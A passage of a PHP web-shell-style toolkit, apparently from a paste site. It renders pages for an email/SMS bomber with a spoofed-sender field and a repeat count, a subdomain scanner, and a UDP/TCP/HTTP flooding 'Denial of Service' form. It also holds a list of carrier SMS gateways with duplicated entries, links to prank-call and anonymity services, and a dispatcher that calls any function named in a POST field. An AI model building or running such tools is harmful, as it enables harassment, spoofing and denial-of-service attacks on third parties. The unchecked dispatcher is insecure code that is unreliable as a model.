  551.     $returnData .= '                                <p id="features"><a href="http://old.bored.com/dialpeople/">old.bored.com</a> <a href="http://www.easyprank.com/">www.easyprank.com</a> <a href="http://www.prankdial.com/">www.prankdial.com</a> <a href="https://www.prankowl.com/">www.prankowl.com</a> <a href="https://myphonerobot.com/free-prank-calls.html">myphonerobot.com</a> <a href="http://www.anonymousphonecalls.com/">www.anonymousphonecalls.com</a> <a href="http://www.aftervoice.com/">www.aftervoice.com</a></p></div>';
  552.     $returnData .= '                            <div><center><span>BugMeNot Account Sharing Site</span></center>';
  553.     $returnData .= '                                <p id="features"><a href="http://bugmenot.com/">bugmenot.com</a> - Account sharing website.</p></div>';
  554.     $returnData .= '                            <div><center><span>InCloak Port Scanner</span></center>';
  555.     $returnData .= '                                <p id="features"><a href="https://incloak.com/ports/">incloak.com</a> - Free online basic port scanner.</p></div>';
  556.     $returnData .= '                            <div><center><span>SpyDialer Phone Number Probe</span></center>';
  557.     $returnData .= '                                <p id="features"><a href="http://www.spydialer.com/default.aspx">www.spydialer.com</a> - A phone number investigation tool. 3 free scans daily.</p></div>';
  558.     $returnData .= '                            <div><center><span>Proxy.org Web Porxies</span></center>';
  559.     $returnData .= '                                <p id="features"><a href="http://proxy.org/web_proxies.shtml">proxy.org</a> - A large collection of web proxies that"s actively maintained and free to use.</p></div>';
  560.     $returnData .= '                            <div><center><span>Tor2Web</span></center>';
  561.     $returnData .= '                                <p id="features"><a href="https://tor2web.org/">tor2web.org</a> - Tor2web is a project to let Internet users access Tor Onion Services without using Tor Browser.</p></div>';
  562.     $returnData .= '                            <div><center><span>InCloak Free Proxy List</span></center>';
  563.     $returnData .= '                                <p id="features"><a href="https://incloak.com/proxy-list/">incloak.com</a> - One of many freemium proxy sites. Useful for finding proxies fast.</p></div>';
  564.     $returnData .= '                            <div><center><span>VirusTotal</span></center>';
  565.     $returnData .= '                                <p id="features"><a href="https://www.virustotal.com/">www.virustotal.com</a> - VirusTotal is a free service that analyzes suspicious files and URLs and facilitates the quick detection of viruses, worms, trojans, and all kinds of malware.</p></div>';
  566.     $returnData .= '                            <div><center><span>Free SMS Service</span></center>';
  567.     $returnData .= '                                <p id="features"><a href="http://www.afreesms.com/freesms/">www.afreesms.com</a> - aFreeSms.com is online International Free Text Message service which allows you to send Unlimited Free SMS anywhere in the world.</p></div>';
  568.     $returnData .= '                            <div><center><span>10 Minute Mail</span></center>';
  569.     $returnData .= '                                <p id="features"><a href="http://10minutemail.com/10MinuteMail/index.html">10minutemail.com</a> - 10MinuteMail is a secure temporary email service.</p></div>';
  570.     $returnData .= '                        </div>';
  571.     $returnData .= '                    </div>';
  572.     $returnData .= setFooter();
  573.     return $returnData;
  574. }
  575.  
  576. function pageMail() {
  577.     $returnData = setHeader();
  578.     $returnData .= '            <div class="contentpos" style="padding-top:92px;">';
  579.     $returnData .= '                <div class="contenttitle">';
  580.     $returnData .= '                    <h1>Email/SMS Bomber</h1>';
  581.     $returnData .= '                </div>';
  582.     $returnData .= '                <div class="centerwrapper">';
  583.     $returnData .= '                    <div class="content">';
  584.     $returnData .= '                        <center>';
  585.     $returnData .= '                            <table id="mailTbl" width="100%" cellpadding="3" cellspacing="0">';
  586.     $returnData .= '                                <tr>';
  587.     $returnData .= '                                    <td width="50%" style="border-right:2px solid #222;">';
  588.     $returnData .= '                                        <form  method="post">';
  589.     $returnData .= '                                            <input type="hidden" name="action" value="pageMail" />';
  590.     $returnData .= '                                            <span>Email Bomber</span>';
  591.     $returnData .= '                                            <br>';
  592.     $returnData .= '                                            <br>';
  593.     $returnData .= '                                                Target';
  594.     $returnData .= '                                            <br>';
  595.     $returnData .= '                                                <input class="mailInp" type="text" name="to" placeholder="Target"s email" value="" />';
  596.     $returnData .= '                                            <br>';
  597.     $returnData .= '                                            <br>';
  598.     $returnData .= '                                                Sender';
  599.     $returnData .= '                                            <br>';
  600.     $returnData .= '                                                <input class="mailInp" type="text" name="from" placeholder="Spoof email" value="" />';
  601.     $returnData .= '                                            <br>';
  602.     $returnData .= '                                            <br>';
  603.     $returnData .= '                                                Amount';
  604.     $returnData .= '                                            <br>';
  605.     $returnData .= '                                                <input class="mailInp" type="text" name="loop" placeholder="100" value="" />';
  606.     $returnData .= '                                            <br>';
  607.     $returnData .= '                                            <br>';
  608.     $returnData .= '                                                Subject';
  609.     $returnData .= '                                            <br>';
  610.     $returnData .= '                                                <input class="mailInp" type="text" name="subject" placeholder="Subject" value="" />';
  611.     $returnData .= '                                            <br>';
  612.     $returnData .= '                                            <br>';
  613.     $returnData .= '                                                Message';
  614.     $returnData .= '                                            <br>';
  615.     $returnData .= '                                                <textarea class="mailInp" id="bigbox" name="message"></textarea>';
  616.     $returnData .= '                                            <br>';
  617.     $returnData .= '                                            <br>';
  618.     $returnData .= '                                                <input type="submit" value=">> Send <<"/>';
  619.     $returnData .= '                                            <br>';
  620.     $returnData .= '                                        </form>';
  621.     $returnData .= '                                    </td>';
  622.     $returnData .= '                                    <td width="50%">';
  623.     $returnData .= '                                        <form  method="post">';
  624.     $returnData .= '                                            <input type="hidden" name="action" value="pageMail" />';
  625.     $returnData .= '                                            <span>SMS Bomber</span>';
  626.     $returnData .= '                                            <br>';
  627.     $returnData .= '                                            <br>';
  628.     $returnData .= '                                                Target';
  629.     $returnData .= '                                            <br>';
  630.     $returnData .= '                                                <input class="mailInp" type="text" name="to" placeholder="Target"s cell number" value="" />';
  631.     $returnData .= '                                            <br>';
  632.     $returnData .= '                                            <br>';
  633.     $returnData .= '                                                Provider';
  634.     $returnData .= '                                            <br>';
  635.     $returnData .= '                                                <select class="mailInp" size="1" name="gateway">';
  636.     $returnData .= '                                                    <option value="@sms.3rivers.net">3 River Wireless</option>';
  637.     $returnData .= '                                                    <option value="@paging.acswireless.com">ACS Wireless</option>';
  638.     $returnData .= '                                                    <option value="@message.alltel.com">Alltel</option>';
  639.     $returnData .= '                                                    <option value="@txt.att.net ">AT&amp;T</option>';
  640.     $returnData .= '                                                    <option value="@txt.bellmobility.ca">Bell Canada</option>';
  641.     $returnData .= '                                                    <option value="@bellmobility.ca">Bell Canada</option>';
  642.     $returnData .= '                                                    <option value="@txt.bell.ca">Bell Mobility (Canada)</option>';
  643.     $returnData .= '                                                    <option value="@txt.bellmobility.ca">Bell Mobility</option>';
  644.     $returnData .= '                                                    <option value="@blueskyfrog.com">Blue Sky Frog</option>';
  645.     $returnData .= '                                                    <option value="@sms.bluecell.com">Bluegrass Cellular</option>';
  646.     $returnData .= '                                                    <option value="@myboostmobile.com">Boost Mobile</option>';
  647.     $returnData .= '                                                    <option value="@bplmobile.com">BPL Mobile</option>';
  648.     $returnData .= '                                                    <option value="@cwwsms.com">Carolina West Wireless</option>';
  649.     $returnData .= '                                                    <option value="@mobile.celloneusa.com">Cellular One</option>';
  650.     $returnData .= '                                                    <option value="@csouth1.com">Cellular South</option>';
  651.     $returnData .= '                                                    <option value="@cwemail.com">Centennial Wireless</option>';
  652.     $returnData .= '                                                    <option value="@messaging.centurytel.net">CenturyTel</option>';
  653.     $returnData .= '                                                    <option value="@txt.att.net ">Cingular (Now AT&amp;T)</option>';
  654.     $returnData .= '                                                    <option value="@msg.clearnet.com">Clearnet</option>';
  655.     $returnData .= '                                                    <option value="@comcastpcs.textmsg.com">Comcast</option>';
  656.     $returnData .= '                                                    <option value="@corrwireless.net">Corr Wireless Communications</option>';
  657.     $returnData .= '                                                    <option value="@mobile.dobson.net">Dobson</option>';
  658.     $returnData .= '                                                    <option value="@sms.edgewireless.com">Edge Wireless</option>';
  659.     $returnData .= '                                                    <option value="@fido.ca">Fido</option>';
  660.     $returnData .= '                                                    <option value="@sms.goldentele.com">Golden Telecom</option>';
  661.     $returnData .= '                                                    <option value="@messaging.sprintpcs.com">Helio</option>';
  662.     $returnData .= '                                                    <option value="@text.houstoncellular.net">Houston Cellular</option>';
  663.     $returnData .= '                                                    <option value="@ideacellular.net">Idea Cellular</option>';
  664.     $returnData .= '                                                    <option value="@ivctext.com">Illinois Valley Cellular</option>';
  665.     $returnData .= '                                                    <option value="@inlandlink.com">Inland Cellular Telephone</option>';
  666.     $returnData .= '                                                    <option value="@pagemci.com">MCI</option>';
  667.     $returnData .= '                                                    <option value="@page.metrocall.com">Metrocall</option>';
  668.     $returnData .= '                                                    <option value="@my2way.com">Metrocall 2-way</option>';
  669.     $returnData .= '                                                    <option value="@mymetropcs.com">Metro PCS</option>';
  670.     $returnData .= '                                                    <option value="@fido.ca">Microcell</option>';
  671.     $returnData .= '                                                    <option value="@clearlydigital.com">Midwest Wireless</option>';
  672.     $returnData .= '                                                    <option value="@mobilecomm.net">Mobilcomm</option>';
  673.     $returnData .= '                                                    <option value="@text.mtsmobility.com">MTS</option>';
  674.     $returnData .= '                                                    <option value="@messaging.nextel.com">Nextel</option>';
  675.     $returnData .= '                                                    <option value="@onlinebeep.net">OnlineBeep</option>';
  676.     $returnData .= '                                                    <option value="@pcsone.net">PCS One</option>';
  677.     $returnData .= '                                                    <option value="@txt.bell.ca">President"s Choice</option>';
  678.     $returnData .= '                                                    <option value="@sms.pscel.com">Public Service Cellular</option>';
  679.     $returnData .= '                                                    <option value="@qwestmp.com">Qwest</option>';
  680.     $returnData .= '                                                    <option value="@pcs.rogers.com">Rogers AT&amp;T Wireless</option>';
  681.     $returnData .= '                                                    <option value="@pcs.rogers.com">Rogers Canada</option>';
  682.     $returnData .= '                                                    <option value="@satellink.net">Satellink</option>';
  683.     $returnData .= '                                                    <option value="@email.swbw.com">Southwestern Bell</option>';
  684.     $returnData .= '                                                    <option value="@messaging.sprintpcs.com">Sprint</option>';
  685.     $returnData .= '                                                    <option value="@tms.suncom.com">Sumcom</option>';
  686.     $returnData .= '                                                    <option value="@mobile.surewest.com">Surewest Communicaitons</option>';
  687.     $returnData .= '                                                    <option value="@tmomail.net">T-Mobile</option>';
  688.     $returnData .= '                                                    <option value="@msg.telus.com">Telus</option>';
  689.     $returnData .= '                                                    <option value="@txt.att.net">Tracfone</option>';
  690.     $returnData .= '                                                    <option value="@tms.suncom.com">Triton</option>';
  691.     $returnData .= '                                                    <option value="@utext.com">Unicel</option>';
  692.     $returnData .= '                                                    <option value="@email.uscc.net">US Cellular</option>';
  693.     $returnData .= '                                                    <option value="@txt.bell.ca">Solo Mobile</option>';
  694.     $returnData .= '                                                    <option value="@messaging.sprintpcs.com">Sprint</option>';
  695.     $returnData .= '                                                    <option value="@tms.suncom.com">Sumcom</option>';
  696.     $returnData .= '                                                    <option value="@mobile.surewest.com">Surewest Communicaitons</option>';
  697.     $returnData .= '                                                    <option value="@tmomail.net">T-Mobile</option>';
  698.     $returnData .= '                                                    <option value="@msg.telus.com">Telus</option>';
  699.     $returnData .= '                                                    <option value="@tms.suncom.com">Triton</option>';
  700.     $returnData .= '                                                    <option value="@utext.com">Unicel</option>';
  701.     $returnData .= '                                                    <option value="@email.uscc.net">US Cellular</option>';
  702.     $returnData .= '                                                    <option value="@uswestdatamail.com">US West</option>';
  703.     $returnData .= '                                                    <option value="@vtext.com">Verizon</option>';
  704.     $returnData .= '                                                    <option value="@vmobl.com">Virgin Mobile</option>';
  705.     $returnData .= '                                                    <option value="@vmobile.ca">Virgin Mobile Canada</option>';
  706.     $returnData .= '                                                    <option value="@sms.wcc.net">West Central Wireless</option>';
  707.     $returnData .= '                                                    <option value="@cellularonewest.com">Western Wireless</option>';
  708.     $returnData .= '                                                </select>';
  709.     $returnData .= '                                            <br>';
  710.     $returnData .= '                                            <br>';
  711.     $returnData .= '                                                Sender';
  712.     $returnData .= '                                            <br>';
  713.     $returnData .= '                                                <input class="mailInp" type="text" name="from" placeholder="Spoof email" value="" />';
  714.     $returnData .= '                                            <br>';
  715.     $returnData .= '                                            <br>';
  716.     $returnData .= '                                                Amount';
  717.     $returnData .= '                                            <br>';
  718.     $returnData .= '                                                <input class="mailInp" type="text" name="loop" placeholder="100" value="" />';
  719.     $returnData .= '                                            <br>';
  720.     $returnData .= '                                            <br>';
  721.     $returnData .= '                                                Subject';
  722.     $returnData .= '                                            <br>';
  723.     $returnData .= '                                                <input class="mailInp" type="text" name="subject" placeholder="Subject" value="" />';
  724.     $returnData .= '                                            <br>';
  725.     $returnData .= '                                            <br>';
  726.     $returnData .= '                                                Message';
  727.     $returnData .= '                                            <br>';
  728.     $returnData .= '                                                <textarea class="mailInp" name="message"></textarea>';
  729.     $returnData .= '                                            <br>';
  730.     $returnData .= '                                            <br>';
  731.     $returnData .= '                                                <input type="submit" value=">> Send <<"/>';
  732.     $returnData .= '                                            <br>';
  733.     $returnData .= '                                        </form>';
  734.     $returnData .= '                                    </td>';
  735.     $returnData .= '                                </tr>';
  736.     $returnData .= '                            </table>';
  737.     $returnData .= '                        </center>';
  738.     $returnData .= '                    </div>';
  739.     $returnData .= '                </div>';
  740.     $returnData .= setFooter();
  741.     return $returnData;
  742. }
  743.  
  744. function pageResolver() {
  745.     $returnData = setHeader();
  746.     $returnData .= '            <div class="contentpos" style="padding-top:92px;">';
  747.     $returnData .= '                <div class="contenttitle">';
  748.     $returnData .= '                    <h1>IP Resolver</h1>';
  749.     $returnData .= '                </div>';
  750.     $returnData .= '                <div class="centerwrapper">';
  751.     $returnData .= '                    <div class="content">';
  752.     $returnData .= '                        <center>';
  753.     $returnData .= '                            <table id="mailTbl" width="50%" cellspacing="1" cellpadding="2" style="padding-bottom:10px;">';
  754.     $returnData .= '                                <tr>';
  755.     $returnData .= '                                    <td colspan="2">';
  756.     $returnData .= '                                        <form method="post">';
  757.     $returnData .= '                                            <input type="hidden" name="action" value="pageResolver" />';
  758.     $returnData .= '                                            <br>';
  759.     $returnData .= '                                            <span style="margin-top:20px;">SubDomain Scanner</span>';
  760.     $returnData .= '                                            <br>';
  761.     $returnData .= '                                            <br>';
  762.     $returnData .= '                                            <p>Enter a top level domain</p>';
  763.     $returnData .= '                                            ';
  764.     $returnData .= '                                            <input class="mailInp" type="text" name="ResThis"/>';
  765.     $returnData .= '                                            <input type="submit" value=">>"/>';
  766.     $returnData .= '                                        </form>';
  767.     $returnData .= '                                    </td>';
  768.     $returnData .= '                                </tr>';
  769.     $returnData .= '                            </table>';
  770.     $returnData .= '                        </center>';
  771.     $returnData .= '                    </div>';
  772.     $returnData .= '                </div>';
  773.     $returnData .= setFooter();
  774.     return $returnData;
  775. }
  776.  
  777. function pageDoS() {
  778.     $returnData = setHeader();
  779.     $FType = 'udp';
  780.     if(isset($_POST['FloodType'])) $FType = $_POST['FloodType'];
  781.     $TList = array(
  782.             'udp' => 'UDP Flooder',
  783.             'tcp' => 'TCP Flooder',
  784.             'http' => 'HTTP Flooder'
  785.     );
  786.     if($FType == 'http') {
  787.         $formSwitch = 'page';
  788.         $titleSwitch = 'Page';
  789.         $hiddenForm = '<input type="hidden" name="port" value="80" />';
  790.     }
  791.     else{
  792.         $formSwitch = 'port';
  793.         $titleSwitch = 'Port';
  794.         $hiddenForm = '<input type="hidden" name="page" value="" />';
  795.     }
  796.     $Title = $TList[$FType];
  797.     $returnData .= '            <div class="contentpos" style="padding-top:92px;">';
  798.     $returnData .= '                <div class="contenttitle">';
  799.     $returnData .= '                    <h1>Denial of Service</h1>';
  800.     $returnData .= '                </div>';
  801.     $returnData .= '                <div class="centerwrapper">';
  802.     $returnData .= '                    <div class="content">';
  803.     $returnData .= '                        <center>            ';
  804.     $returnData .= '                        <span>Change method</span>';
  805.     $returnData .= '                            <br>';
  806.     $returnData .= '                            <br>';
  807.     $returnData .= '                            <form method="post" style="position:relative;width:20%;display:inline-block;">';
  808.     $returnData .= '                                <input type="hidden" name="action" value="pageDoS" />';
  809.     $returnData .= '                                <input type="hidden" name="FloodType" value="udp" />';
  810.     $returnData .= '                                <input type="submit" value="UDP"/ style="display:inline-block;width:25%;">';
  811.     $returnData .= '                            </form>';
  812.     $returnData .= '                            <form method="post" style="position:relative;width:20%;display:inline-block;">';
  813.     $returnData .= '                                <input type="hidden" name="action" value="pageDoS" />';
  814.     $returnData .= '                                <input type="hidden" name="FloodType" value="tcp" />';
  815.     $returnData .= '                                <input type="submit" value="TCP"/ style="display:inline-block;width:25%;">';
  816.     $returnData .= '                            </form>';
  817.     $returnData .= '                            <form method="post" style="position:relative;width:20%;display:inline-block;">';
  818.     $returnData .= '                                <input type="hidden" name="action" value="pageDoS" />';
  819.     $returnData .= '                                <input type="hidden" name="FloodType" value="http" />';
  820.     $returnData .= '                                <input type="submit" value="HTTP"/ style="display:inline-block;width:25%;">';
  821.     $returnData .= '                            </form>';
  822.     $returnData .= '                            ';
  823.     $returnData .= '                            <form method="post">';
  824.     $returnData .= '                                <table class="text">';
  825.     $returnData .= '                                    <tr>';
  826.     $returnData .= '                                        <td>';
  827.     $returnData .= '                                            <span>' . $Title . '</span>';
  828.     $returnData .= '                                        </td>';
  829.     $returnData .= '                                    </tr>';
  830.     $returnData .= '                                    <tr>';
  831.     $returnData .= '                                        <td>';
  832.     $returnData .= '                                            Host';
  833.     $returnData .= '                                        </td>';
  834.     $returnData .= '                                    </tr>';
  835.     $returnData .= '                                    <tr>';
  836.     $returnData .= '                                        <td>';
  837.     $returnData .= '                                            <input type="text" name="host" >';
  838.     $returnData .= '                                        </td>';
  839.     $returnData .= '                                    </tr>';
  840.     $returnData .= '                                    <tr>';
  841.     $returnData .= '                                        <td>';
  842.     $returnData .= '                                            ' . $titleSwitch . '';
  843.     $returnData .= '                                        </td>';
  844.     $returnData .= '                                    </tr>';
  845.     $returnData .= '                                    <tr>';
  846.     $returnData .= '                                        <td>';
  847.     $returnData .= '                                            <input type="text" name="' . $formSwitch. '" value="" >';
  848.     $returnData .= '                                        </td>';
  849.     $returnData .= '                                    </tr>';
  850.     $returnData .= '                                    <tr>';
  851.     $returnData .= '                                        <td>';
  852.     $returnData .= '                                            Time';
  853.     $returnData .= '                                        </td>';
  854.     $returnData .= '                                    </tr>';
  855.     $returnData .= '                                    <tr>';
  856.     $returnData .= '                                        <td>';
  857.     $returnData .= '                                            <input type="text" name="time">';
  858.     $returnData .= '                                        </td>';
  859.     $returnData .= '                                    </tr>';
  860.     $returnData .= '                                    <tr>';
  861.     $returnData .= '                                        <td>';
  862.     $returnData .= '                                            <input type="hidden" name="action" value="pageDoS" />';
  863.     $returnData .= '                                            <input type="hidden" name="FloodType" value="' . $FType . '" />';
  864.     $returnData .= '                                            ' . $hiddenForm  . '';
  865.     $returnData .= '                                            <input type="hidden" name="" value="http" />';
  866.     $returnData .= '                                        </td>';
  867.     $returnData .= '                                    </tr>';
  868.     $returnData .= '                                </table>';
  869.     $returnData .= '                                <input type="submit" value=">>" />';
  870.     $returnData .= '                            </form>';
  871.     $returnData .= '                        </center>';
  872.     $returnData .= '                    </div>';
  873.     $returnData .= '                </div>';
  874.     $returnData .= setFooter();
  875.     return $returnData;
  876. }
  877.  
  878. $startTime = getStartTime();
  879. if( empty($_POST['action']) )
  880.     if(isset($default_action) && function_exists($default_action)) $_POST['action'] = $default_action;
  881.     else $_POST['action'] = 'pageMain';
  882. if( !empty($_POST['action']) && function_exists($_POST['action']) ) echo call_user_func($_POST['action']);
  883.  
  884. exit;
  885. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement